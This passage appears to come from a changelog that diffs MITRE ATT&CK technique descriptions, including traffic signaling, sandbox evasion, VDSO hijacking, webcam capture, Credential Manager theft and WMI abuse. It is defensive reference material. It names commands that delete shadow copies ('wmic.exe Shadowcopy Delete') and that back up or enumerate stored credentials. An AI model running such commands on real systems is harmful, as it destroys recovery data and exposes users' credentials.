Packet Mirroring)(Citation: Azure Virtual Network TAP) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use traffic signaling to hide open ports or | t | 1 | Adversaries may use traffic signaling to hide open ports or |
| > | other malicious functionality used for persistence or comman | > | other malicious functionality used for persistence or comman | ||
| > | d and control. Traffic signaling involves the use of a magic | > | d and control. Traffic signaling involves the use of a magic | ||
| > | value or sequence that must be sent to a system to trigger | > | value or sequence that must be sent to a system to trigger | ||
| > | a special response, such as opening a closed port or executi | > | a special response, such as opening a closed port or executi | ||
| > | ng a malicious task. This may take the form of sending a ser | > | ng a malicious task. This may take the form of sending a ser | ||
| > | ies of packets with certain characteristics before a port wi | > | ies of packets with certain characteristics before a port wi | ||
| > | ll be opened that the adversary can use for command and cont | > | ll be opened that the adversary can use for command and cont | ||
| > | rol. Usually this series of packets consists of attempted co | > | rol. Usually this series of packets consists of attempted co | ||
| > | nnections to a predefined sequence of closed ports (i.e. [Po | > | nnections to a predefined sequence of closed ports (i.e. [Po | ||
| > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | > | rt Knocking](https://attack.mitre.org/techniques/T1205/001)) | ||
| > | , but can involve unusual flags, specific strings, or other | > | , but can involve unusual flags, specific strings, or other | ||
| > | unique characteristics. After the sequence is completed, ope | > | unique characteristics. After the sequence is completed, ope | ||
| > | ning a port may be accomplished by the host-based firewall, | > | ning a port may be accomplished by the host-based firewall, | ||
| > | but could also be implemented by custom software. Adversari | > | but could also be implemented by custom software. Adversari | ||
| > | es may also communicate with an already open port, but the s | > | es may also communicate with an already open port, but the s | ||
| > | ervice listening on that port will only respond to commands | > | ervice listening on that port will only respond to commands | ||
| > | or trigger other malicious functionality if passed the appro | > | or trigger other malicious functionality if passed the appro | ||
| > | priate magic value(s). The observation of the signal packet | > | priate magic value(s). The observation of the signal packet | ||
| > | s to trigger the communication can be conducted through diff | > | s to trigger the communication can be conducted through diff | ||
| > | erent methods. One means, originally implemented by Cd00r (C | > | erent methods. One means, originally implemented by Cd00r,(C | ||
| > | itation: Hartrell cd00r 2002), is to use the libpcap librari | > | itation: Hartrell cd00r 2002) is to use the libpcap librarie | ||
| > | es to sniff for the packets in question. Another method leve | > | s to sniff for the packets in question. Another method lever | ||
| > | rages raw sockets, which enables the malware to use ports th | > | ages raw sockets, which enables the malware to use ports tha | ||
| > | at are already open for use by other programs. On network d | > | t are already open for use by other programs. On network de | ||
| > | evices, adversaries may use crafted packets to enable [Netwo | > | vices, adversaries may use crafted packets to enable [Networ | ||
| > | rk Device Authentication](https://attack.mitre.org/technique | > | k Device Authentication](https://attack.mitre.org/techniques | ||
| > | s/T1556/004) for standard services offered by the device suc | > | /T1556/004) for standard services offered by the device such | ||
| > | h as telnet. Such signaling may also be used to open a clos | > | as telnet. Such signaling may also be used to open a close | ||
| > | ed service port such as telnet, or to trigger module modific | > | d service port such as telnet, or to trigger module modifica | ||
| > | ation of malware implants on the device, adding, removing, o | > | tion of malware implants on the device, adding, removing, or | ||
| > | r changing malicious capabilities. Adversaries may use craf | > | changing malicious capabilities. Adversaries may use craft | ||
| > | ted packets to attempt to connect to one or more (open or cl | > | ed packets to attempt to connect to one or more (open or clo | ||
| > | osed) ports, but may also attempt to connect to a router int | > | sed) ports, but may also attempt to connect to a router inte | ||
| > | erface, broadcast, and network address IP on the same port i | > | rface, broadcast, and network address IP on the same port in | ||
| > | n order to achieve their goals and objectives.(Citation: Cis | > | order to achieve their goals and objectives.(Citation: Cisc | ||
| > | co Synful Knock Evolution)(Citation: Mandiant - Synful Knock | > | o Synful Knock Evolution)(Citation: Mandiant - Synful Knock) | ||
| > | )(Citation: Cisco Blog Legacy Device Attacks) To enable thi | > | (Citation: Cisco Blog Legacy Device Attacks) To enable this | ||
| > | s traffic signaling on embedded devices, adversaries must fi | > | traffic signaling on embedded devices, adversaries must fir | ||
| > | rst achieve and leverage [Patch System Image](https://attack | > | st achieve and leverage [Patch System Image](https://attack. | ||
| > | .mitre.org/techniques/T1601/001) due to the monolithic natur | > | mitre.org/techniques/T1601/001) due to the monolithic nature | ||
| > | e of the architecture. Adversaries may also use the Wake-on | > | of the architecture. Adversaries may also use the Wake-on- | ||
| > | -LAN feature to turn on powered off systems. Wake-on-LAN is | > | LAN feature to turn on powered off systems. Wake-on-LAN is a | ||
| > | a hardware feature that allows a powered down system to be p | > | hardware feature that allows a powered down system to be po | ||
| > | owered on, or woken up, by sending a magic packet to it. Onc | > | wered on, or woken up, by sending a magic packet to it. Once | ||
| > | e the system is powered on, it may become a target for later | > | the system is powered on, it may become a target for latera | ||
| > | al movement.(Citation: Bleeping Computer - Ryuk WoL)(Citatio | > | l movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation | ||
| > | n: AMD Magic Packet) | > | : AMD Magic Packet) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.629000+00:00 | 2026-11-04 00:38:42.428000+00:00 |
| description | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r,(Citation: Hartrell cd00r 2002) is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various user activity checks to detec | t | 1 | Adversaries may employ various user activity checks to detec |
| > | t and avoid virtualization and analysis environments. This m | > | t and avoid virtualization and analysis environments. This m | ||
| > | ay include changing behaviors based on the results of checks | > | ay include changing behaviors based on the results of checks | ||
| > | for the presence of artifacts indicative of a virtual machi | > | for the presence of artifacts indicative of a virtual machi | ||
| > | ne environment (VME) or sandbox. If the adversary detects a | > | ne environment (VME) or sandbox. If the adversary detects a | ||
| > | VME, they may alter their malware to disengage from the vict | > | VME, they may alter their malware to disengage from the vict | ||
| > | im or conceal the core functions of the implant. They may al | > | im or conceal the core functions of the implant. They may al | ||
| > | so search for VME artifacts before dropping secondary or add | > | so search for VME artifacts before dropping secondary or add | ||
| > | itional payloads. Adversaries may use the information learne | > | itional payloads. Adversaries may use the information learne | ||
| > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | > | d from [Virtualization/Sandbox Evasion](https://attack.mitre | ||
| > | .org/techniques/T1497) during automated discovery to shape f | > | .org/techniques/T1497) during automated discovery to shape f | ||
| > | ollow-on behaviors.(Citation: Deloitte Environment Awareness | > | ollow-on behaviors.(Citation: Deloitte Environment Awareness | ||
| > | ) Adversaries may search for user activity on the host base | > | ) Adversaries may search for user activity on the host base | ||
| > | d on variables such as the speed/frequency of mouse movement | > | d on variables such as the speed/frequency of mouse movement | ||
| > | s and clicks (Citation: Sans Virtual Jan 2016) , browser his | > | s and clicks(Citation: Sans Virtual Jan 2016) , browser hist | ||
| > | tory, cache, bookmarks, or number of files in common directo | > | ory, cache, bookmarks, or number of files in common director | ||
| > | ries such as home or the desktop. Other methods may rely on | > | ies such as home or the desktop. Other methods may rely on s | ||
| > | specific user interaction with the system before the malicio | > | pecific user interaction with the system before the maliciou | ||
| > | us code is activated, such as waiting for a document to clos | > | s code is activated, such as waiting for a document to close | ||
| > | e before activating a macro (Citation: Unit 42 Sofacy Nov 20 | > | before activating a macro(Citation: Unit 42 Sofacy Nov 2018 | ||
| > | 18) or waiting for a user to double click on an embedded ima | > | ) or waiting for a user to double click on an embedded image | ||
| > | ge to activate.(Citation: FireEye FIN7 April 2017) | > | to activate.(Citation: FireEye FIN7 April 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.705000+00:00 | 2026-11-04 00:47:58.900000+00:00 |
| description | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) | Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks(Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro(Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via VDS | t | 1 | Adversaries may inject malicious code into processes via VDS |
| > | O hijacking in order to evade process-based defenses as well | > | O hijacking in order to evade process-based defenses as well | ||
| > | as possibly elevate privileges. Virtual dynamic shared obje | > | as possibly elevate privileges. Virtual dynamic shared obje | ||
| > | ct (vdso) hijacking is a method of executing arbitrary code | > | ct (vdso) hijacking is a method of executing arbitrary code | ||
| > | in the address space of a separate live process. VDSO hija | > | in the address space of a separate live process. VDSO hija | ||
| > | cking involves redirecting calls to dynamically linked share | > | cking involves redirecting calls to dynamically linked share | ||
| > | d libraries. Memory protections may prevent writing executab | > | d libraries. Memory protections may prevent writing executab | ||
| > | le code to a process via [Ptrace System Calls](https://attac | > | le code to a process via [Ptrace System Calls](https://attac | ||
| > | k.mitre.org/techniques/T1055/008). However, an adversary may | > | k.mitre.org/techniques/T1055/008). However, an adversary may | ||
| > | hijack the syscall interface code stubs mapped into a proce | > | hijack the syscall interface code stubs mapped into a proce | ||
| > | ss from the vdso shared object to execute syscalls to open a | > | ss from the vdso shared object to execute syscalls to open a | ||
| > | nd map a malicious shared object. This code can then be invo | > | nd map a malicious shared object. This code can then be invo | ||
| > | ked by redirecting the execution flow of the process via pat | > | ked by redirecting the execution flow of the process via pat | ||
| > | ched memory address references stored in a process' global o | > | ched memory address references stored in a process' global o | ||
| > | ffset table (which store absolute addresses of mapped librar | > | ffset table (which stores absolute addresses of mapped libra | ||
| > | y functions).(Citation: ELF Injection May 2009)(Citation: Ba | > | ry functions).(Citation: ELF Injection May 2009)(Citation: B | ||
| > | cktrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 201 | > | acktrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 20 | ||
| > | 4) Running code in the context of another process may allow | > | 14) Running code in the context of another process may allo | ||
| > | access to the process's memory, system/network resources, a | > | w access to the process's memory, system/network resources, | ||
| > | nd possibly elevated privileges. Execution via VDSO hijackin | > | and possibly elevated privileges. Execution via VDSO hijacki | ||
| > | g may also evade detection from security products since the | > | ng may also evade detection from security products since the | ||
| > | execution is masked under a legitimate process. | > | execution is masked under a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.706000+00:00 | 2026-11-04 03:10:55.306000+00:00 |
| description | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which stores absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014) Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary can leverage a computer's peripheral devices (e | t | 1 | An adversary can leverage a computer's peripheral devices (e |
| > | .g., integrated cameras or webcams) or applications (e.g., v | > | .g., integrated cameras or webcams) or applications (e.g., v | ||
| > | ideo call services) to capture video recordings for the purp | > | ideo call services) to capture video recordings for the purp | ||
| > | ose of gathering information. Images may also be captured fr | > | ose of gathering information. Images may also be captured fr | ||
| > | om devices or applications, potentially in specified interva | > | om devices or applications, potentially in specified interva | ||
| > | ls, in lieu of video files. Malware or scripts may be used | > | ls, in lieu of video files. Malware or scripts may be used | ||
| > | to interact with the devices through an available API provid | > | to interact with the devices through an available API provid | ||
| > | ed by the operating system or an application to capture vide | > | ed by the operating system or an application to capture vide | ||
| > | o or images. Video or image files may be written to disk and | > | o or images. Video or image files may be written to disk and | ||
| > | exfiltrated later. This technique differs from [Screen Capt | > | exfiltrated later. This technique differs from [Screen Capt | ||
| > | ure](https://attack.mitre.org/techniques/T1113) due to use o | > | ure](https://attack.mitre.org/techniques/T1113) due to use o | ||
| > | f specific devices or applications for video recording rathe | > | f specific devices or applications for video recording rathe | ||
| > | r than capturing the victim's screen. In macOS, there are a | > | r than capturing the victim's screen. In macOS, there are a | ||
| > | few different malware samples that record the user's webcam | > | few different malware samples that record the user's webcam | ||
| > | such as FruitFly and Proton. (Citation: objective-see 2017 | > | such as FruitFly and Proton.(Citation: objective-see 2017 r | ||
| > | review) | > | eview) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.641000+00:00 | 2026-11-04 00:28:51.355000+00:00 |
| description | An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review) | An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.(Citation: objective-see 2017 review) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may acquire credentials from the Windows Credent | t | 1 | Adversaries may acquire credentials from the Windows Credent |
| > | ial Manager. The Credential Manager stores credentials for s | > | ial Manager. The Credential Manager stores credentials for s | ||
| > | igning into websites, applications, and/or devices that requ | > | igning into websites, applications, and/or devices that requ | ||
| > | est authentication through NTLM or Kerberos in Credential Lo | > | est authentication through NTLM or Kerberos in Credential Lo | ||
| > | ckers (previously known as Windows Vaults).(Citation: Micros | > | ckers (previously known as Windows Vaults).(Citation: Micros | ||
| > | oft Credential Manager store)(Citation: Microsoft Credential | > | oft Credential Manager store)(Citation: Microsoft Credential | ||
| > | Locker) The Windows Credential Manager separates website c | > | Locker) The Windows Credential Manager separates website c | ||
| > | redentials from application or network credentials in two lo | > | redentials from application or network credentials in two lo | ||
| > | ckers. As part of [Credentials from Web Browsers](https://at | > | ckers. As part of [Credentials from Web Browsers](https://at | ||
| > | tack.mitre.org/techniques/T1555/003), Internet Explorer and | > | tack.mitre.org/techniques/T1555/003), Internet Explorer and | ||
| > | Microsoft Edge website credentials are managed by the Creden | > | Microsoft Edge website credentials are managed by the Creden | ||
| > | tial Manager and are stored in the Web Credentials locker. A | > | tial Manager and are stored in the Web Credentials locker. A | ||
| > | pplication and network credentials are stored in the Windows | > | pplication and network credentials are stored in the Windows | ||
| > | Credentials locker. Credential Lockers store credentials i | > | Credentials locker. Credential Lockers store credentials i | ||
| > | n encrypted `.vcrd` files, located under `%Systemdrive%\User | > | n encrypted `.vcrd` files, located under `%Systemdrive%\User | ||
| > | s\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\` | > | s\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\` | ||
| > | . The encryption key can be found in a file named <code>Poli | > | . The encryption key can be found in a file named <code>Poli | ||
| > | cy.vpol</code>, typically located in the same folder as the | > | cy.vpol</code>, typically located in the same folder as the | ||
| > | credentials.(Citation: passcape Windows Vault)(Citation: Mal | > | credentials.(Citation: passcape Windows Vault)(Citation: Mal | ||
| > | warebytes The Windows Vault) Adversaries may list credentia | > | warebytes The Windows Vault) Adversaries may list credentia | ||
| > | ls managed by the Windows Credential Manager through several | > | ls managed by the Windows Credential Manager through several | ||
| > | mechanisms. <code>vaultcmd.exe</code> is a native Windows e | > | mechanisms. <code>vaultcmd.exe</code> is a native Windows e | ||
| > | xecutable that can be used to enumerate credentials stored i | > | xecutable that can be used to enumerate credentials stored i | ||
| > | n the Credential Locker through a command-line interface. Ad | > | n the Credential Locker through a command-line interface. Ad | ||
| > | versaries may also gather credentials by directly reading fi | > | versaries may also gather credentials by directly reading fi | ||
| > | les located inside of the Credential Lockers. Windows APIs, | > | les located inside of the Credential Lockers. Windows APIs, | ||
| > | such as <code>CredEnumerateA</code>, may also be absued to l | > | such as <code>CredEnumerateA</code>, may also be abused to l | ||
| > | ist credentials managed by the Credential Manager.(Citation: | > | ist credentials managed by the Credential Manager.(Citation: | ||
| > | Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendenti | > | Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendenti | ||
| > | al Manager) Adversaries may also obtain credentials from cr | > | al Manager) Adversaries may also obtain credentials from cr | ||
| > | edential backups. Credential backups and restorations may be | > | edential backups. Credential backups and restorations may be | ||
| > | performed by running <code>rundll32.exe keymgr.dll KRShowKe | > | performed by running <code>rundll32.exe keymgr.dll KRShowKe | ||
| > | yMgr</code> then selecting the “Back up...” button on the “S | > | yMgr</code> then selecting the “Back up...” button on the “S | ||
| > | tored User Names and Passwords” GUI. Password recovery tool | > | tored User Names and Passwords” GUI. Password recovery tool | ||
| > | s may also obtain plain text passwords from the Credential M | > | s may also obtain plain text passwords from the Credential M | ||
| > | anager.(Citation: Malwarebytes The Windows Vault) | > | anager.(Citation: Malwarebytes The Windows Vault) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:26.444000+00:00 | 2026-11-03 21:41:03.391000+00:00 |
| description | Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.
Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)
Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.
Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault) | Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.
Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)
Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be abused to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.
Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.6
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Windows Management Instrumentation (WM | t | 1 | Adversaries may abuse Windows Management Instrumentation (WM |
| > | I) to execute malicious commands and payloads. WMI is design | > | I) to execute malicious commands and payloads. WMI is design | ||
| > | ed for programmers and is the infrastructure for management | > | ed for programmers and is the infrastructure for management | ||
| > | data and operations on Windows systems.(Citation: WMI 1-3) W | > | data and operations on Windows systems.(Citation: WMI 1-3) W | ||
| > | MI is an administration feature that provides a uniform envi | > | MI is an administration feature that provides a uniform envi | ||
| > | ronment to access Windows system components. The WMI servic | > | ronment to access Windows system components. The WMI servic | ||
| > | e enables both local and remote access, though the latter is | > | e enables both local and remote access, though the latter is | ||
| > | facilitated by [Remote Services](https://attack.mitre.org/t | > | facilitated by [Remote Services](https://attack.mitre.org/t | ||
| > | echniques/T1021) such as [Distributed Component Object Model | > | echniques/T1021) such as [Distributed Component Object Model | ||
| > | ](https://attack.mitre.org/techniques/T1021/003) and [Window | > | ](https://attack.mitre.org/techniques/T1021/003) and [Window | ||
| > | s Remote Management](https://attack.mitre.org/techniques/T10 | > | s Remote Management](https://attack.mitre.org/techniques/T10 | ||
| > | 21/006).(Citation: WMI 1-3) Remote WMI over DCOM operates us | > | 21/006).(Citation: WMI 1-3) Remote WMI over DCOM operates us | ||
| > | ing port 135, whereas WMI over WinRM operates over port 5985 | > | ing port 135, whereas WMI over WinRM operates over port 5985 | ||
| > | when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Cit | > | when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3)(Cita | ||
| > | ation: Mandiant WMI) An adversary can use WMI to interact w | > | tion: Mandiant WMI) An adversary can use WMI to interact wi | ||
| > | ith local and remote systems and use it as a means to execut | > | th local and remote systems and use it as a means to execute | ||
| > | e various behaviors, such as gathering information for [Disc | > | various behaviors, such as gathering information for [Disco | ||
| > | overy](https://attack.mitre.org/tactics/TA0007) as well as [ | > | very](https://attack.mitre.org/tactics/TA0007) as well as [E | ||
| > | Execution](https://attack.mitre.org/tactics/TA0002) of comma | > | xecution](https://attack.mitre.org/tactics/TA0002) of comman | ||
| > | nds and payloads.(Citation: Mandiant WMI) For example, `wmic | > | ds and payloads.(Citation: Mandiant WMI) For example, `wmic. | ||
| > | .exe` can be abused by an adversary to delete shadow copies | > | exe` can be abused by an adversary to delete shadow copies w | ||
| > | with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibi | > | ith the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit | ||
| > | t System Recovery](https://attack.mitre.org/techniques/T1490 | > | System Recovery](https://attack.mitre.org/techniques/T1490) | ||
| > | )).(Citation: WMI 6) **Note:** `wmic.exe` is deprecated as | > | ).(Citation: WMI 6) **Note:** `wmic.exe` is deprecated as o | ||
| > | of January of 2024, with the WMIC feature being “disabled by | > | f January of 2024, with the WMIC feature being “disabled by | ||
